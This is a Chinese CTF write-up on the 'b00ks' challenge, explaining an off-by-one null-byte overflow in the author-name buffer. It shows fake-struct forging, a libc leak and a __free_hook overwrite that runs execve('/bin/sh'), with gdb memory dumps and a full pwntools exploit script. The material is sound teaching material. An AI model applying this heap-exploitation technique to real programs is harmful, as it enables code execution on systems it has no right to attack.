本篇文章是对
CTF WIKI
Off-By-One
漏洞类型的补充.CTF WIKI
上面Off-By-One
这一章节中两个例子均没有给出相应的EXP
, 本次总结将其中一个例子详细分析一下, 希望能够对其他学习者有帮助
该程序是一个图书管理系统,可以添加书名,修改作者名以及写备注等功能.
1. Welcome
输入一个
name
2. Create a book
> 1
Enter book name size: 10
Enter book name (Max 32 chars): Love
Enter book description size: 20
Enter book description: good
3. Delete
> 2
Enter the book id you want to delete: 1
4. Edit a book
> 3
Enter the book id you want to edit: 1
Enter new book description: very good
5. Print book detail
> 4
ID: 1
Name: Love
Description: very good
Author: Bill
6. Change current author name
> 5
Enter author name: Steven
7. Exit
6. Exit
> 6
1.b00k
结构体
stuct book{
int id;
char *name;
char *description;
int size;
}
程序运行, 创建一个结构体数组,设为b00ks
.
2.b00ks
位置
0x55865b7c9040: 0x4141414141414141 0x4141414141414141
0x55865b7c9050: 0x4141414141414141 0x4141414141414141 --> author
b00ks<--0x55865b7c9060: 0x000055865cc0d160(first book) 0x0000000000000000
3.Null byte overflow
修改author
, 输入32
个字符,会出现空子节覆盖first b00k
指针最后一个字节
0x55865b7c9040: 0x4141414141414141 0x4141414141414141
0x55865b7c9050: 0x4141414141414141 0x4141414141414141
0x55865b7c9060: 0x000055865cc0d100(0x60-->0x00) 0x000055865cc0d190
Off-By-One
顾名思义就是我们能够多写入一个字节的内容.
举一个简单的例子:建造一条直栅栏(即不围圈),长30米、每条栅栏柱间相隔3米,需要多少条栅栏柱?
最容易想到的答案是10
, 但正确答案是9
或11
. 这种错误是C语言初学者常犯的错误, 经常在数组或循环出现.
漏洞点: 问题出在对author
的处理上, 当我们输入32个字符时, 程序会将第33个字符赋值为"\x00"
, 从而出现了Null Byte Overflow
.
思路分析: 创建两个b00k
, 在first b00k
中伪造b00k
进而控制second b00k
的description
指针, 将该指针该为__free_hook
, 修改second b00k
的description
为execve("/bin/sh")
, 最后free
1. 创建第一个first b00k
0x55f276c74160: 0x0000000000000001 0x000055f276c74020--> Name
0x55f276c74170: 0x000055f276c740c0(description) 0x000000000000008c(140)
结论: 当0x55f276c74160 --> 0x55f276c74100
时, 0x55f276c74100
正好落在first b00k
的description
中, 属于可控范围, 为我们伪造b00k
打下了基础.
2. 伪造b00k
0x55f276c740c0: 0x4141414141414141 0x4141414141414141
0x55f276c740d0: 0x4141414141414141 0x4141414141414141
0x55f276c740e0: 0x4141414141414141 0x4141414141414141
0x55f276c740f0: 0x4141414141414141 0x4141414141414141
0x55f276c74100: 0x0000000000000001 0x000055f276c74198----
0x55f276c74110: 0x000055f276c74198 0x000000000000ffff |
...... |
0x55f276c74160: 0x0000000000000001 0x000055f276c74020 |
0x55f276c74170: 0x000055f276c740c0 0x000000000000008c |
0x55f276c74180: 0x0000000000000000 0x0000000000000031 |
0x55f276c74190: 0x0000000000000002 0x00007f282b8e7010 <-|
0x55f276c741a0: 0x00007f282b8c5010 0x0000000000021000
0x55f276c741b0: 0x0000000000000000 0x0000000000020e51
结论: 可以看到0x55f276c74100
已经是fake b00k
3. 空字节覆盖
0x55f275d55040: 0x4141414141414141 0x4141414141414141
0x55f275d55050: 0x4141414141414141 0x4141414141414141
0x55f275d55060: 0x000055f276c74100 0x000055f276c74190
泄露的是second b00k
的name pointer
和description pointer
.
这个指针和libc base address是有直接联系的.
0x000055f276c73000 0x000055f276c95000 rw-p [heap]
0x00007f282b33e000 0x00007f282b4fe000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f282b4fe000 0x00007f282b6fe000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
结论: 通过伪造的b00k
, 我们泄露了 libc base address
.
4.获取相关指针
主要是两个
malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 0x4526a
结论: 通过libc base address
, 退出了__free_hook
和execve_addr
在程序中的实际位置.
5.修改
通过first b00k
修改second b00k
的description
指针为__free_hook
, 在修改second b00k的description内容为execve("/bin/sh", null, environ)
, 最后执行free
0x55f276c74190: 0x0000000000000002 0x00007f282b7047a8 --
0x55f276c741a0: 0x00007f282b7047a8 0x0000000000021000 |
...... |
0x7f282b7047a8 <__free_hook>: 0x00007f306ff4726a 0x0000000000000000
结论: 由于__free_hook
里面的内容不为NULL
, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)
为什么第二个 b00k
申请的空间那么大?
If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
简单的说, 申请小了不能够泄露出libc base address
from pwn import *
context.log_level = 'debug'
p = process("./b00ks")
libc = ELF("./libc.so.6")
gdb.attach(p)
def memleak1(p):
p.sendline("4")
log.info(p.recvuntil("Author:"))
msg = p.recvline()
log.info(p.recvuntil(">"))
msg = msg.split("A"*32)[1].strip("\n")
addr = u64(msg.ljust(8, "\x00"))
log.success("Leaked address of struct object : " + hex(addr))
return addr
def memleak2(p):
p.sendline("4")
p.recvuntil("Name: ")
msg=p.recvline().strip("\n")
msg=u64(msg.ljust(8, "\x00"))
log.info(p.recv(timeout = 1))
log.success("Leaked address of allocated area " + hex(msg))
return msg
def change_ptr(p):
log.progress("Changing the struct pointer")
p.sendline("5")
log.info(p.recvuntil(":"))
p.sendline("A"*32)
log.info(p.recvuntil(">"))
def fake_obj(p, payload, index):
log.progress("Editing description")
p.sendline("3")
log.info(p.recvuntil(":"))
p.sendline(str(index))
log.info(p.recvuntil(":"))
p.sendline(payload)
def create_book(p,size):
p.sendline("1")
log.info(p.recvuntil(":"))
p.sendline(str(size))
log.info(p.recvuntil(":"))
p.sendline("asdf")
log.info(p.recvuntil(":"))
p.sendline(str(size))
log.info(p.recvuntil(":"))
p.sendline("asdf")
log.info(p.recvuntil(">"))
def release():
p.sendline("2")
log.info(p.recvuntil(":"))
p.sendline("2")
log.info(p.recvuntil(":"))
p.sendline("A"*32)
log.info(p.recvuntil(">"))
create_book(p, 140)
addr = memleak1(p) + 0x38 #address of second object on heap
create_book(p, 0x21000) #allocate new area
payload = "A"*0x40 + p64(0x1) + p64(addr) * 2 + p64(0xffff) #fake obj
fake_obj(p, payload, 1)
change_ptr(p) #null overflow
addr = memleak2(p)
log.info(hex(addr))
#part two
libcbase = addr - 0x5a9010
malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 0x4526a
#part three
payload = p64(malloc_hook) * 2
fake_obj(p, payload, 1)
payload = p64(execve_addr)
fake_obj(p, payload, 2)
release()
p.interactive()
几乎唯一的WP
CTF WIKI